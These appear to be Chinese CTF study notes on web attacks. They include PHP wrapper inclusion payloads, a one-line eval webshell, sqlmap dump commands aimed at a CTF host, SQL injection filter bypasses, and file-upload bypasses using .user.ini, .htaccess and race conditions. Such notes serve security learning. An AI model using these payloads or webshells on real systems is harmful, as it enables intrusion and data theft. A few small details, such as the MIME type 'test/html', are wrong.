文章目录
- 1、基础知识部分
- 2、php伪协议
- 2.1 php://input协议
- 2.2 data://text/plain协议
- 3、webshell连接工具
- 3.1 蚁剑连接一句话木马
- 4、各个web中间件重要文件路径
- 4.1 Nginx
- 5、sqlmap使用
- 6、php特性
- 6.1 md5加密漏洞
- 6.2 php特殊符号
- 7、TOP 10漏洞
- 7.1 SQL注入
- 7.2 代码执行
- 7.3 文件上传
- php上传特性
- 检查后缀
- 检查文件内容
- 代码逻辑——条件竞争
1、基础知识部分
- 识别base64编码:大小写+数字,偶尔最后几位是= or ++;
- session:session是保存在服务器中的,服务器通过数据包中的cookie的
PHPSESSID
值来判断哪条session中保存用户信息;$_SESSION['password']
是利用cookie中的PHPSESSID
来找相应信息的password值。 - 常见的网站源码备份文件后缀:
tar、tar.gz、zip、rar、bak
。常见的网站源码备份文件名:web、website、backup、back、www、wwwroot、temp
。
2、php伪协议
2.1 php://input协议
关于php://input,简单来说:当php://input与include连用时,数据包中的post字段将会当做php代码执行。
# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>
2.2 data://text/plain协议
关于data://text/plain,简单来说:当data://text/plain与include连用时,data://text/plain后面接着的数据会被当做php代码执行。
?url=data://text/plain,<?php system('ls');?> #
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式
3、webshell连接工具
3.1 蚁剑连接一句话木马
如果蚁剑报错:unable_to_verify_leaf_signature,是证书的原因,目前的解决方法是将URL中的https改为http。
4、各个web中间件重要文件路径
4.1 Nginx
# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径
# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径
5、sqlmap使用
sqlmap常用命令:
python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容
# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*
# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数
6、php特性
6.1 md5加密漏洞
- md5
0e
漏洞:就是说在使用md5()
和==
进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e
开头的字符串,那么左右两边将会相等。 - 当使用
md5()
和===
进行变量对比的时候, 使用数组可以绕过md5()函数的检测。 - md5 true参数漏洞
md5($string, true)
对ffifdyop
、129581926211651571912466741651878684928
可以得到'or'
结构的字符串。
6.2 php特殊符号
# . file = source file ,用bash执行file这个shell脚本文件
. == source
# 执行系统命令
`ls` = system('ls')
# php短标签
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>
# ?为通配符
# +为空格
7、TOP 10漏洞
7.1 SQL注入
SQL注入常见的测试方法就是:
- 在参数后面加个
'
,看返回包是否报错; - 使用万能密码
1' or 1=1 --+
,看返回包有没有反应。
登录框测试SQL注入后,尝试目录扫描,看看有没有敏感信息泄露。
SQL注入绕过:
1、空格被过滤
# 空格被过滤
username=1'or(true)# # 用(true)代替1=1
username=1'/**/or/**/1=1/**/# # 用内联注释(/**/)代替空格
##经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/# 正常返回
id=1'/**/and/**/1=2/**/# 数据未返回,存在SQL注入
##或者
id=1'/**/and/**/(true)/**/# 正常返回
id=1'/**/and/**/(false)/**/# 数据未返回,存在SQL注入
##或者
id=1'/**/or/**/(false)# 返回一条数据
id=1'/**/or/**/(true)# 返回当前表里的所有数据
2、单引号被过滤
# 单引号被过滤
双引号代替单引号
3、with rollup(虚拟表)绕过
# with rollup(虚拟表)绕过
group by :将结果集按照选择的字段进行排序,默认从小到大,不进行去重
group by password with rollup:对password进行逻辑排序,同时会对所有数据进行汇总统计。
7.2 代码执行
题目中若存在cmd
参数,可能存在代码执行。尝试cmd=phpinfo();
?cmd=phpinfo(); # 如果这能被执行,后端应该就是类似一句话木马的写法<?php @eval($_GET['cmd']);?>
# 读取当前目录下的文件
?cmd=system('ls');
?cmd=print_r(scandir('./'));
?cmd=print_r(glob("*"));
# 读取文件内容
?cmd=highlight_file('x.php');
?cmd=show_source('x.php');
7.3 文件上传
php上传特性
在php中,使用Content-Type: multipart/form-data;
上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir
参数为保存临时文件的路经,linux下面默认为/tmp
。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除,并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows)
、php**.tmp(Linux)
。
检查后缀
- 黑名单绕过
- 特殊后缀名
在某些中间件中,.php3
,.php4
,.php5
,.phptml
会被解析为.php
。 - windows特性
1.php.
、1.php[空格]
、1.php::$DATA
在windows系统中保存为1.php
。 - 双写后缀名绕过
仅当后端使用类似preg_replace
函数进行关键词替换时,可以使用双写后缀名的方式绕过。 - .htaccess和.user.ini
.user.ini
用法
前提:保证三个文件(.user.ini
、shell.png
、xx.php
)在同一目录下,再执行该目录下的php文件。//.user.ini auto_prepend_file=1.png //1.png <?php phpinfo();?> //1.php(任意php文件)
注:三个文件在一个目录下,就相当于1.php文件开头插入了
include('1.png');
进行文件包含,解析1.php文件时会使用php解析器解析1.png文件。.htaccess
用法# .htaccess文件 <FileMatch "shell.png"> SetHandler application/x-httpd-php # shell.png <?php phpinfo();?>
- 区别
.htaccess
文件是Apache服务器中的分布式配置文件;.user.ini
是php配置文件。
- 配合中间件解析漏洞
需要总结各个中间件的历史解析漏洞。如apache陌生后缀解析漏洞和apache换行解析漏洞。
- 特殊后缀名
- 白名单绕过
- %00截断(GET传参)
前提:PHP版本小于5.3.4、magic_quotes_gpc
为OFF状态。
原理:上传1.php%00
,最终保存为1.php
。 - 0x00截断(POST传参)
在hex模式下,将1.php
后面的16进制值改为00
同样达到阶段的效果。
- %00截断(GET传参)
检查文件内容
- MIME绕过
数据包中Content-Type
字段表示文件的类型,修改Content-Type
的值绕过检测。常见的MIME 类型如下:文件拓展名 Mime-Type .html test/html .jpg image/jpeg .png image/png .gif image/gif .txt text/plain .php application/x-httpd-php - 文件幻数检测(
getimagesize()
、exif_imagetype()
)
其实就是检测文件内容,以下是常见的图片文件头字节。类型 文件幻数 JPG FF D8 FF E0 00 10 4A 46 49 46 GIF 47 49 46 38 39 61 (GIF89a) PNG 89 50 4E 47 - 二次渲染
简单来说,就是后台会根据你上传的图片,重建一个相同的图片。绕过:
- 对比源文件和渲染后的文件,在没有变化的部分加入一句话木马;
- 对于做文件上传之二次渲染建议用GIF图片,相对于简单一点。
代码逻辑——条件竞争
检测原理
一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。
绕过方法
利用成功上传到删除文件的时间差,上传一个.php
文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。